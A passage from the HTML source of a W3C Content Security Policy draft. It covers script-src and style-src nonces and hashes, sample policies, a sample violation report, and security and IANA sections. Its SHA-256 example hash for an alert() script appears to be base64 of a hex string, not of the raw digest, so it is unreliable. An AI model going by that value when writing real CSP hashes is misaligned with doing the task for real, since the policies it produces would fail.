MUST\n      return zero without creating a timer.</li>\n\n      <li>When called with a first argument that is not <a data-link-type=dfn href=#callable title=callable>callable</a> (a\n      string, for example), the\n      <code><a class=idl-code data-link-for=WindowTimers data-link-type=method href=http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-setinterval title=setinterval()>setInterval()</a></code> function MUST\n      return zero without creating a timer.</li>\n    </ul>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI (including when following redirects)\n    in the course of one of the following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting a script while processing the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> attribute\n      of a <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> element that lacks a\n      <a data-link-type=dfn href=#valid-nonce title=\"valid nonce\">valid nonce</a> for the <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script sources</a>.</li>\n\n      <li>Requesting a script while invoking the <code>importScripts</code>\n      method on a WorkerGlobalScope object. <a data-biblio-type=normative data-link-type=biblio href=#biblio-workers title=biblio-workers>[WORKERS]</a></li>\n\n      <li>Requesting an HTML component, such as\n      when processing the <code>href</code> attribute of a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-link-element title=link>link</a></code>\n      element with a <code>rel</code> attribute containing the token\n      <code>import</code>. <a data-biblio-type=normative data-link-type=biblio href=#biblio-html-imports title=biblio-html-imports>[HTML-IMPORTS]</a></li>\n\n      <li>Requesting an Extensible Stylesheet Language Transformations\n      (XSLT) <a data-biblio-type=normative data-link-type=biblio href=#biblio-xslt title=biblio-xslt>[XSLT]</a>, such as when processing the\n      <code>&lt;?xml-stylesheet?&gt;</code> processing directive in an XML\n      document <a data-biblio-type=normative data-link-type=biblio href=#biblio-xml11 title=biblio-xml11>[XML11]</a>, the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-base-href title=href>href</a></code> attributes\n      on <code>&lt;xsl:include&gt;</code> and <code>&lt;xsl:import&gt;</code>\n      elements.</li>\n    </ul>\n\n    <section class=informative>\n      <h4 class=\"heading settled heading\" data-level=7.17.1 id=script-src-nonce-usage><span class=secno>7.17.1 </span><span class=content>\n        Nonce usage for <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements\n      </span><a class=self-link href=#script-src-nonce-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>The <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code> directive lets developers specify\n      exactly which script elements on a page were intentionally included\n      for execution. Ideally, developers would avoid inline script entirely\n      and whitelist scripts by URL. However, in some cases, removing inline\n      scripts can be difficult or impossible. For those cases, developers can\n      whitelist scripts using a randomly generated nonce.</p>\n\n<p>Usage is straightforward. For <em>each</em> request, the server\n      generates a unique value at random, and includes it in the\n      <code>Content-Security-Policy</code> header:</p>\n\n      <pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self';\n                         <a data-link-type=dfn href=#script-src title=script-src>script-src</a> 'self' https://example.com 'nonce-<em>$RANDOM</em>'\n</pre>\n\n<p>This same value is then applied as a <code>nonce</code> attribute\n      to each <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> element that ought to be\n      executed. For example, if the server generated the random value\n      <code>Nc3n83cnSAd3wc3Sasdfn939hc3</code>,  the server would send the\n      following policy:</p>\n\n      <pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self';\n                         <a data-link-type=dfn href=#script-src title=script-src>script-src</a> 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'\n</pre>\n\n<p>Script elements can then execute either because their\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> URLs are whitelisted or because\n      they have a <a data-link-type=dfn href=#valid-nonce title=\"valid nonce\">valid nonce</a>:</p>\n\n      <pre>&lt;script&gt;\nalert(\"Blocked because the policy doesn’t have 'unsafe-inline'.\")\n&lt;/script&gt;\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"&gt;\nalert(\"Still blocked because nonce is wrong.\")\n&lt;/script&gt;\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"&gt;\nalert(\"Allowed because nonce is valid.\")\n&lt;/script&gt;\n\n&lt;script src=\"https://example.com/allowed-because-of-src.js\"&gt;&lt;/script&gt;\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"\n    src=\"https://elsewhere.com/blocked-because-nonce-is-wrong.js\"&gt;&lt;/script&gt;\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"\n    src=\"https://elsewhere.com/allowed-because-nonce-is-valid.js\"&gt;&lt;/script&gt;\n</pre>\n\n<p>Note that the nonce’s value is <em>not</em> a hash or signature\n      that verifies the contents of the script resources. It’s quite simply\n      a random string that informs the user agent which scripts were\n      intentionally included in the page.</p>\n\n<p>Script elements with the proper nonce execute, regardless of\n      whether they’re inline or external. Script elements without the\n      proper nonce don’t execute unless their URLs are whitelisted.\n      Even if an attacker is able to inject markup into the protected\n      resource, the attack will be blocked by the attacker’s inability\n      to guess the random value.</p>\n    </section>\n    <section class=informative>\n      <h4 class=\"heading settled heading\" data-level=7.17.2 id=script-src-hash-usage><span class=secno>7.17.2 </span><span class=content>\n        Hash usage for <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements\n      </span><a class=self-link href=#script-src-hash-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>The <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code> directive lets developers whitelist a\n      particular inline script by specifying its hash as an allowed source\n      of script.</p>\n\n<p>Usage is straightforward. The server computes the hash of a\n      particular script block’s contents, and includes the base64 encoding\n      of that value in the <code>Content-Security-Policy</code> header:</p>\n\n      <pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self';\n                         <a data-link-type=dfn href=#script-src title=script-src>script-src</a> 'self' https://example.com 'sha256-<var>base64 encoded hash</var>'\n</pre>\n\n<p>Each inline script block’s contents are hashed, and compared against\n      the whitelisted value. If there’s a match, the script is executed. For\n      example, the SHA-256 digest of <code>alert('Hello, world.');</code> is\n      <code>YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo=</code>.\n      If the server sent the following header:</p>\n\n      <pre>Content-Security-Policy: <a data-link-type=dfn href=#script-src title=script-src>script-src</a> 'sha256-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='\n</pre>\n\n<p>Then the following script tag would result in script execution:</p>\n\n      <pre>&lt;script&gt;alert('Hello, world.');&lt;/script&gt;\n</pre>\n\n<p>Whitespace is significant. The following scripts blocks would not hash to\n      the same value, and would therefore <em>not</em> execute:</p>\n\n      <pre>&lt;script&gt; alert('Hello, world.');&lt;/script&gt;\n&lt;script&gt;alert('Hello, world.'); &lt;/script&gt;\n&lt;script&gt; alert('Hello, world.'); &lt;/script&gt;\n&lt;script&gt;\nalert('Hello, world.');\n&lt;/script&gt;\n</pre>\n\n<p>Note also that the hash applies <em>only</em> to inline script. An\n      externalized script containing the value\n      <code>alert('Hello, world.');</code> would <em>not</em> execute if its\n      origin was not whitelisted as a valid source of script.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.18 id=directive-style-src><span class=secno>7.18 </span><span class=content><code>style-src</code></span><a class=self-link href=#directive-style-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=style-src>style-src<a class=self-link href=#style-src></a></dfn></code> directive restricts which styles the\n    user may applies to the protected resource. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"style-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-style-sources>allowed style sources<a class=self-link href=#allowed-style-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>style-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>style-src</code>, or otherwise to the <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=dfn href=#allowed-style-sources title=\"allowed style sources\">allowed style sources</a>, or if at least one\n    <code><a data-link-type=dfn href=#nonce-source title=nonce-source>nonce-source</a></code> or <code><a data-link-type=dfn href=#hash-source title=hash-source>hash-source</a></code>\n    is present in the list of <a data-link-type=dfn href=#allowed-style-sources title=\"allowed style sources\">allowed style sources</a>:</p>\n\n    <ul>\n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> element that lacks a\n      <a data-link-type=dfn href=#valid-nonce title=\"valid nonce\">valid nonce</a> <em>and</em> lacks a <a data-link-type=dfn href=#valid-hash title=\"valid hash\">valid hash</a> for the\n      <a data-link-type=dfn href=#allowed-style-sources title=\"allowed style sources\">allowed style sources</a>, instead the user agent <code>MUST</code>\n      ignore the style, <em>and</em> MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>.</li>\n\n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> attribute, instead the user agent\n      <code>MUST</code> ignore the style, <em>and</em> MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a\n      violation</a>.</li>\n    </ul>\n\n<p class=note>Note: These restrictions on inline do not prevent the user agent\n    from applying style from an external stylesheet (e.g., found via\n    <code>&lt;link rel=\"stylesheet\" ...&gt;</code>).</p>\n\n<p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=dfn href=#allowed-style-sources title=\"allowed style sources\">allowed style\n    sources</a>, then:</p>\n\n    <ul>\n      <li>Whenever the user agent would invoke the Cascading Style Sheets\n      Object Model algorithms\n      <a data-link-spec=CSSOM data-link-type=dfn href=http://www.w3.org/TR/cssom/#insert-a-css-rule title=\"insert a css rule\">insert a CSS rule</a>, <a data-link-spec=CSSOM data-link-type=dfn href=http://www.w3.org/TR/cssom/#parse-a-css-rule title=\"parse a css rule\">parse a CSS rule</a>,\n      or <a data-link-spec=CSSOM data-link-type=dfn href=http://www.w3.org/TR/cssom/#parse-a-css-declaration-block title=\"parse a css declaration block\">parse a CSS declaration block</a>,\n      instead the user agent MUST throw a <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#securityerror title=securityerror>SecurityError</a>\n      exception <em>and</em> terminate the algorithm. This would include,\n      for example, all invocations of CSSOM’s various <code>cssText</code>\n      setters and <code>insertRule</code> methods. <a data-biblio-type=normative data-link-type=biblio href=#biblio-cssom title=biblio-cssom>[CSSOM]</a> <a data-biblio-type=normative data-link-type=biblio href=#biblio-html5 title=biblio-html5>[HTML5]</a></li>\n    </ul>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-style-sources title=\"allowed style sources\">allowed style sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting external style sheets, such as when processing the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-base-href title=href>href</a></code> attribute of a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-link-element title=link>link</a></code> element with a\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-link-rel title=rel>rel</a></code> attribute containing the token\n      <code>stylesheet</code> or when processing the <a class=\"production css-code\" data-link-type=at-rule href=http://www.w3.org/TR/css3-cascade/#at-ruledef-import title=@import>&lt;@import&gt;</a>\n      directive in a stylesheet.</li>\n      \n    </ul>\n\n<p class=note>Note: The <code>style-src</code> directive does not restrict the\n    use of XSLT. XSLT is restricted by the <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code>\n    directive because the security consequences of including an untrusted\n    XSLT stylesheet are similar to those incurred by including an\n    untrusted script.</p>\n\n    <section class=informative>\n      <h4 class=\"heading settled heading\" data-level=7.18.1 id=style-src-nonce-usage><span class=secno>7.18.1 </span><span class=content>\n        Nonce usage for <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> elements\n      </span><a class=self-link href=#style-src-nonce-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>See the <a href=#script-src-nonce-usage><code>script-src</code>\n      nonce usage information</a> for detail; the application of nonces\n      to <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n    </section>\n    <section class=informative>\n      <h4 class=\"heading settled heading\" data-level=7.18.2 id=style-src-hash-usage><span class=secno>7.18.2 </span><span class=content>\n        Hash usage for <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> elements\n      </span><a class=self-link href=#style-src-hash-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>See the <a href=#script-src-hash-usage><code>script-src</code>\n      hash usage information</a> for detail; the application of hashes\n      to <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n    </section>\n  </section>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=8 id=examples><span class=secno>8 </span><span class=content>Examples</span><a class=self-link href=#examples></a></h2>\n\n  <section class=informative>\n    <h3 class=\"heading settled heading\" data-level=8.1 id=example-policies><span class=secno>8.1 </span><span class=content>Sample Policy Definitions</span><a class=self-link href=#example-policies></a></h3>\n\n<p>This section provides some sample use cases and supporting <a data-link-type=dfn href=#security-policy title=policies>policies</a>.</p>\n\n    <div class=example>\n      A server wishes to load resources only from its own origin:\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'</pre>\n    </div>\n\n    <div class=example>\n      An auction site wishes to load images from any URI, plugin content from a\n      list of trusted media providers (including a content distribution network),\n      and scripts only from a server under its control hosting sanitized\n      ECMAScript:\n\n      <pre>Content-Security-Policy:\n    <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'; img-src *;\n    <a data-link-type=dfn href=#object-src title=object-src>object-src</a> media1.example.com media2.example.com *.cdn.example.com;\n    <a data-link-type=dfn href=#script-src title=script-src>script-src</a> trustedscripts.example.com\n</pre>\n    </div>\n\n    <div class=example>\n      An online banking site wishes to ensure that all of the content in its pages\n      is loaded over TLS to prevent attackers from eavesdropping on insecure\n      content requests:\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> https: 'unsafe-inline' 'unsafe-eval'</pre>\n\n<p>This policy allows inline content (such as inline\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements), use of <code>eval</code>,\n      and loading resources over <code>https</code>. Note: This policy does\n      not provide any protection from cross-site scripting vulnerabilities.</p>\n    </div>\n\n    <div class=example>\n      A website that relies on inline <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements\n      wishes to ensure that script is only executed from its own origin, and those\n      elements it intentionally inserted inline:\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#script-src title=script-src>script-src</a> 'self' 'nonce-<em>$RANDOM</em>';</pre>\n\n<p>The inline <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements would then only\n      execute if they contained a matching <code><a data-link-type=element-attr href=#element-attrdef-nonce title=nonce>nonce</a></code>\n      attribute:</p>\n\n<pre>&lt;script nonce=\"<em>$RANDOM</em>\"&gt;...&lt;/script&gt;</pre>\n    </div>\n  </section>\n\n  <section class=informative>\n    <h3 class=\"heading settled heading\" data-level=8.2 id=example-violation-report><span class=secno>8.2 </span><span class=content>Sample Violation Report</span><a class=self-link href=#example-violation-report></a></h3>\n\n<p>This section contains an example violation report the user agent\n    might sent to a server when the protected resource violations a sample\n    policy.</p>\n\n<p>In the following example, the user agent rendered a representation\n    of the resource <code>http://example.org/page.html</code> with the\n    following policy:</p>\n\n<pre><a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'; <a data-link-type=dfn href=#report-uri title=report-uri>report-uri</a> http://example.org/csp-report.cgi</pre>\n\n<p>The protected resource loaded an image from\n    <code>http://evil.example.com/image.png</code>, violating the\n    policy.</p>\n\n    <pre>{\n  \"csp-report\": {\n    \"document-uri\": \"http://example.org/page.html\",\n    \"referrer\": \"http://evil.example.com/haxor.html\",\n    \"blocked-uri\": \"http://evil.example.com/image.png\",\n    \"violated-directive\": \"default-src 'self'\",\n    \"effective-directive\": \"img-src\",\n    \"original-policy\": \"default-src 'self'; report-uri http://example.org/csp-report.cgi\"\n  }\n}\n</pre>\n  </section>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=9 id=security-considerations><span class=secno>9 </span><span class=content>Security Considerations</span><a class=self-link href=#security-considerations></a></h2>\n  <section>\n    <h3 class=\"heading settled heading\" data-level=9.1 id=security-css-parsing><span class=secno>9.1 </span><span class=content>Cascading Style Sheet (CSS) Parsing</span><a class=self-link href=#security-css-parsing></a></h3>\n\n<p>The <code><a data-link-type=dfn href=#style-src title=style-src>style-src</a></code> directive restricts the locations from\n    which the protected resource can load styles. However, if the user agent uses a\n    lax CSS parsing algorithm, an attacker might be able to trick the user\n    agent into accepting malicious \"stylesheets\" hosted by an otherwise\n    trustworthy origin.</p>\n\n<p>These attacks are similar to the <a href=http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html>CSS\n    cross-origin data leakage</a> attack described by Chris Evans in 2009.\n    User agents SHOULD defend against both attacks using the same\n    mechanism: stricter CSS parsing rules for style sheets with improper\n    MIME types.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=9.2 id=security-violation-reports><span class=secno>9.2 </span><span class=content>Violation Reports</span><a class=self-link href=#security-violation-reports></a></h3>\n\n<p>The violation reporting mechanism in this document has been\n    designed to mitigate the risk that a malicious web site could use\n    violation reports to probe the behavior of other servers. For example,\n    consider a malicious web site that white lists <code>https://example.com</code>\n    as a source of images. If the malicious site attempts to load\n    <code>https://example.com/login</code> as an image, and the\n    <code>example.com</code> server redirects to an identity provider (e.g.,\n    <code>idenityprovider.example.net</code>), CSP will block the request.\n    If violation reports contained the full blocked URI, the violation\n    report might contain sensitive information contained in the redirected URI,\n    such as session identifiers or purported identities. For this reason, the\n    user agent includes only the origin of the blocked URI.</p>\n  </section>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=10 id=implementation-considerations><span class=secno>10 </span><span class=content>Implementation Considerations</span><a class=self-link href=#implementation-considerations></a></h2>\n\n<p>The <code><a data-link-type=dfn href=#content-security-policy title=content-security-policy>Content-Security-Policy</a></code> header is an end-to-end\n  header. It is processed and enforced at the client and, therefore,\n  SHOULD NOT be modified or removed by proxies or other intermediaries not\n  in the same administrative domain as the resource.</p>\n\n<p>The originating administrative domain for a resource might wish to\n  apply a <code><a data-link-type=dfn href=#content-security-policy title=content-security-policy>Content-Security-Policy</a></code> header outside of the\n  immediate context of an application. For example, a large organization\n  might have many resources and applications managed by different\n  individuals or teams but all subject to a uniform organizational\n  standard. In such situations, a <code><a data-link-type=dfn href=#content-security-policy title=content-security-policy>Content-Security-Policy</a></code>\n  header might be added or combined with an existing one at a network-edge\n  security gateway device or web application firewall. To enforce multiple\n  policies, the administrator SHOULD combine the policy into a single header.\n  An administrator might wish to use different combination algorithms\n  depending on his or her intended semantics.</p>\n\n<p>One sensible policy combination algorithm is to start by allowing a\n  default set of sources and then letting individual upstream resource\n  owners expand the set of allowed sources by including additional origins.\n  In this approach, the resultant policy is the union of all allowed\n  origins in the input policies.</p>\n\n<p>Another sensible policy combination algorithm is to intersect the\n  given policies. This approach enforces that content comes from a certain\n  whitelist of origins, for example, preventing developers from including\n  third-party scripts or content in violation of organizational standards\n  and practices. In this approach, the combination algorithm forms the\n  combined policy by removing disallowed hosts from the policies supplied\n  by upstream resource owners.</p>\n\n<p>Interactions between the <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> and other directives\n  SHOULD be given special consideration when combining policies. If none\n  of the policies contains a <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> directive, adding new\n  src directives results in a more restrictive policy. However, if one or\n  more of the input policies contain a <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> directive,\n  adding new src directives might result in a less restrictive policy, for\n  example, if the more specific directive contains a more permissive set of\n  allowed origins.</p>\n\n<p>Using a more restrictive policy than the input policy authored by the\n  resource owner might prevent the resource from rendering or operating as\n  intended.</p>\n\n<p>Note also that migration to <code>HTTPS</code> from <code>HTTP</code>\n  may require updates to the policy in order to keep things running as\n  before. Source expressions like <code>http://example.com</code> do\n  <em>not</em> match <code>HTTPS</code> resources. For example,\n  administrators SHOULD carefully examine existing policies before rolling\n  out <a href=http://tools.ietf.org/html/rfc6797>HTTP Strict Transport Security</a>\n  headers for an application. <a data-biblio-type=informative data-link-type=biblio href=#biblio-rfc6797 title=biblio-rfc6797>[RFC6797]</a></p>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=11 id=iana-considerations><span class=secno>11 </span><span class=content>IANA Considerations</span><a class=self-link href=#iana-considerations></a></h2>\n\n<p>The permanent message header field registry should be updated\n  with the following registrations: <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc3864 title=biblio-rfc3864>[RFC3864]</a></p>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=11.1 id=iana-content-security-policy><span class=secno>11.1 </span><span class=content>Content-Security-Policy</span><a class=self-link href=#iana-content-security-policy></a></h3>\n\n    <dl>\n      <dt>Header field name</dt>\n      <dd>Content-Security-Policy</dd>\n\n      <dt>Applicable protocol</dt>\n      <dd>http</dd>\n\n      <dt>Status</dt>\n      <dd>standard</dd>\n\n      <dt>Author/Change controller</dt>\n      <dd>W3C</dd>\n\n      <dt>Specification document</dt>\n      <dd>This specification (See <code><a data-link-type=dfn href=#content-security-policy title=content-security-policy>Content-Security-Policy</a></code>\n      Header Field)</dd>\n    </dl>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=11.2 id=iana-content-security-policy-report-only><span class=secno>11.2 </span><span class=content>Content-Security-Policy-Report-Only</span><a class=self-link href=#iana-content-security-policy-report-only></a></h3>\n\n    <dl>\n      <dt>Header field name</dt>\n      <dd>Content-Security-Policy-Report-Only</dd>\n\n      <dt>Applicable protocol</dt>\n      <dd>http</dd>\n\n      <dt>Status</dt>\n      <dd>standard</dd>\n\n      <dt>Author/Change controller</dt>\n      <dd>W3C</dd>\n\n      <dt>Specification document</dt>\n      <dd>This specification (See\n      <code><a data-link-type=dfn href=#content-security-policy-report-only title=content-security-policy-report-only>Content-Security-Policy-Report-Only</a></code> Header Field)</dd>\n    </dl>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=11.3 id=iana-ch-csp><span class=secno>11.3 </span><span class=content>CH-CSP</span><a class=self-link href=#iana-ch-csp></a></h3>\n\n    <dl>\n      <dt>Header field name</dt>\n      <dd>CH-CSP</dd>\n\n      <dt>Applicable protocol</dt>\n      <dd>http</dd>\n\n      <dt>Status</dt>\n      <dd>standard</dd>\n\n      <dt>Author/Change controller</dt>\n      <dd>W3C</dd>\n\n      <dt>Specification document</dt>\n      <dd>This specification (See\n      <code><a data-link-type=dfn href=#ch-csp title=ch-csp>CH-CSP</a></code> Client Hint)</dd>\n    </dl>\n  </section>\n</section>\n\n<section>\n  <h2 class=\"heading settled heading\" data-level=12 id=acknowledgements><span class=secno>12 </span><span class=content>Acknowledgements</span><a class=self-link href=#acknowledgements></a></h2>\n\n<p>In addition to the documents in the W3C Web Application Security working\n  group, the work on this document is also informed by the work of the\n  <a href=http://tools.ietf.org/wg/websec/>IETF websec working group</a>,\n  particularly that working group’s requirements document:\n  <a href=http://tools.ietf.org/id/draft-hodges-websec-framework-reqs>draft-hodges-websec-framework-reqs</a>.</p>\n\n<p>A portion of the <code><a data-link-type=dfn href=#frame-ancestors title=frame-ancestors>frame-ancestors</a></code> directive was\n  originally developed as <code>X-Frame-Options</code>. [RFC7034]</p>\n</section>\n\n<h2 class=\"no-ref no-num heading settled heading\" id=conformance><span class=content>Conformance</span><a class=self-link href=#conformance></a></h2>\n\n<h3 class=\"no-ref no-num heading settled heading\" id=conventions><span class=content>Document conventions</span><a class=self-link href=#conventions></a></h3>\n\n    <p>Conformance requirements are expressed with a combination of\n    descriptive assertions and RFC 2119 terminology. The key words \"MUST\",\n    \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\",\n    \"RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in the normative parts of this\n    document are to be interpreted as described in RFC 2119.\n    However, for readability, these words do not appear in all uppercase\n    letters in this specification.\n\n    <p>All of the text of this specification is normative except sections\n    explicitly marked as non-normative, examples, and notes. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc2119 title=biblio-rfc2119>[RFC2119]</a></p>\n\n    <p>Examples in this specification are introduced with the words \"for example\"\n    or are set apart from the normative text with <code>class=\"example\"</code>,\n    like this:\n\n    <div class=example>\n        <p>This is an example of an informative example.</p>\n    </div>\n\n    <p>Informative notes begin with the word \"Note\" and are set apart from the\n    normative text with <code>class=\"note\"</code>, like this:\n\n    <p class=note>Note, this is an informative note.</p>\n\n<h3 class=\"no-ref no-num heading settled heading\" id=conformant-algorithms><span class=content>Conformant Algorithms</span><a class=self-link href=#conformant-algorithms></a></h3>\n\n    <p>Requirements phrased in the imperative as part of algorithms (such as\n    \"strip any leading space characters\" or \"return false and abort these\n    steps\") are to be interpreted with the meaning of the key word (\"must\",\n    \"should\", \"may\", etc) used in introducing the algorithm.</p>\n\n    <p>Conformance requirements phrased as algorithms or specific steps can be\n    implemented in any manner, so long as the end result is equivalent. In\n    particular, the algorithms defined in this specification are intended to\n    be easy to understand and are not intended to be performant. Implementers\n    are encouraged to optimize.</p>\n\n<h3 class=\"no-ref no-num heading settled heading\" id=conformance-classes><span class=content>Conformance Classes</span><a class=self-link href=#conformance-classes></a></h3>\n\n    <p>A <dfn data-dfn-type=dfn data-noexport=\"\" id=conformant-user-agent>conformant user agent<a class=self-link href=#conformant-user-agent></a></dfn> must implement all the requirements\n    listed in this specification that are applicable to user agents.</p>\n\n    <p>A <dfn data-dfn-type=dfn data-noexport=\"\" id=conformant-server>conformant server<a class=self-link href=#conformant-server></a></dfn> must implement all the requirements listed\n    in this specification that are applicable to servers.</p>\n\n\n<h2 class=\"no-num no-ref heading settled heading\" id=references><span class=content>\nReferences</span><a class=self-link href=#references></a></h2>\n\n<h3 class=\"no-num no-ref heading settled heading\" id=normative><span class=content>\nNormative References</span><a class=self-link href=#normative></a></h3>\n<div data-fill-with=normative-references><dl>\n<dt id=biblio-abnf title=ABNF><a class=self-link href=#biblio-abnf></a>[ABNF]<dd>Dave Crocker; Paul Overell. <a href=http://www.ietf.org/rfc/rfc5234.txt>Augmented BNF for Syntax Specifications: ABNF</a>. RFC. URL: <a href=http://www.ietf.org/rfc/rfc5234.txt>http://www.ietf.org/rfc/rfc5234.txt</a></dd>\n<dt id=biblio-css3-fonts title=CSS3-FONTS><a class=self-link href=#biblio-css3-fonts></a>[CSS3-FONTS]<dd>John Daggett. <a href=http://www.w3.org/TR/2013/WD-css3-fonts-20130212/>CSS Fonts Module Level 3</a>. 12 February 2013. W3C Working Draft. (Work in progress.) URL: <a href=http://www.w3.org/TR/2013/WD-css3-fonts-20130212/>http://www.w3.org/TR/2013/WD-css3-fonts-20130212/</a></dd>\n<dt id=biblio-css4-images title=CSS4-IMAGES><a class=self-link href=#biblio-css4-images></a>[CSS4-IMAGES]<dd>Elika J. Etemad; Tab Atkins Jr.. <a href=http://www.w3.org/TR/2012/WD-css4-images-20120911/>CSS Image Values and Replaced Content Module Level 4</a>. 11 September 2012. W3C Working Draft. (Work in progress.) URL: <a href=http://www.w3.org/TR/2012/WD-css4-images-20120911/>http://www.w3.org/TR/2012/WD-css4-images-20120911/</a></dd>\n<dt id=biblio-cssom title=CSSOM><a class=self-link href=#biblio-cssom></a>[CSSOM]<dd>Anne van Kesteren. <a 